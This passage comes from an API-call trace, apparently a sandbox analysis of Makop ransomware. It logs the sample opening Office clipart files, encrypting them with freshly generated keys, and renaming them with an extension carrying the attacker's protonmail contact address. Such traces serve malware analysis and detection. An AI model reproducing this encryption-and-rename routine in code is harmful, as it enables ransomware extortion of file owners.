pdwDataLen=0x6577a90*=0x3390) returned 1 [0153.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.403] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3390, lpOverlapped=0x0) returned 1 [0153.403] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.404] SetEndOfFile (hFile=0xf0) returned 1 [0153.412] GetProcessHeap () returned 0x48a0000 [0153.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.412] GetProcessHeap () returned 0x48a0000 [0153.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.412] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.414] CloseHandle (hObject=0xf0) returned 1 [0153.414] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1 [0153.414] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF") returned 59 [0153.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.415] GetProcessHeap () returned 0x48a0000 [0153.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0153.420] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.420] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.420] GetProcessHeap () returned 0x48a0000 [0153.420] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0153.420] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0153.421] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0153.421] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.421] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.422] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.422] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b6, lpOverlapped=0x0) returned 1 [0153.422] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0153.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0153.423] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.423] SetEndOfFile (hFile=0xf0) returned 1 [0153.430] GetProcessHeap () returned 0x48a0000 [0153.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0153.430] GetProcessHeap () returned 0x48a0000 [0153.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.430] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 106 [0153.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.432] CloseHandle (hObject=0xf0) returned 1 [0153.432] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1 [0153.432] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF") returned 63 [0153.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.435] GetProcessHeap () returned 0x48a0000 [0153.435] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.435] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.440] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.440] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.440] GetProcessHeap () returned 0x48a0000 [0153.440] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.440] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.440] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.440] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.441] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.441] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.441] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.441] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbde2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbde2, lpOverlapped=0x0) returned 1 [0153.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbdf0, dwBufLen=0xbdf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbdf0) returned 1 [0153.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbdf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbdf0, lpOverlapped=0x0) returned 1 [0153.447] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.448] SetEndOfFile (hFile=0xf0) returned 1 [0153.455] GetProcessHeap () returned 0x48a0000 [0153.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.455] GetProcessHeap () returned 0x48a0000 [0153.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.457] CloseHandle (hObject=0xf0) returned 1 [0153.457] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1 [0153.457] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF") returned 63 [0153.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.458] GetProcessHeap () returned 0x48a0000 [0153.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.459] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0153.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.463] GetProcessHeap () returned 0x48a0000 [0153.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.463] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.463] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.463] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.465] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.465] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.465] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d5e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d5e, lpOverlapped=0x0) returned 1 [0153.466] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d60, dwBufLen=0x1d60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d60) returned 1 [0153.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d60, lpOverlapped=0x0) returned 1 [0153.467] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.467] SetEndOfFile (hFile=0xf0) returned 1 [0153.475] GetProcessHeap () returned 0x48a0000 [0153.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.476] GetProcessHeap () returned 0x48a0000 [0153.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.476] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.478] CloseHandle (hObject=0xf0) returned 1 [0153.478] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1 [0153.478] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF") returned 63 [0153.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.479] GetProcessHeap () returned 0x48a0000 [0153.479] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.479] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.479] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.484] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.484] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.484] GetProcessHeap () returned 0x48a0000 [0153.484] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.484] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.484] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.485] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.486] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: 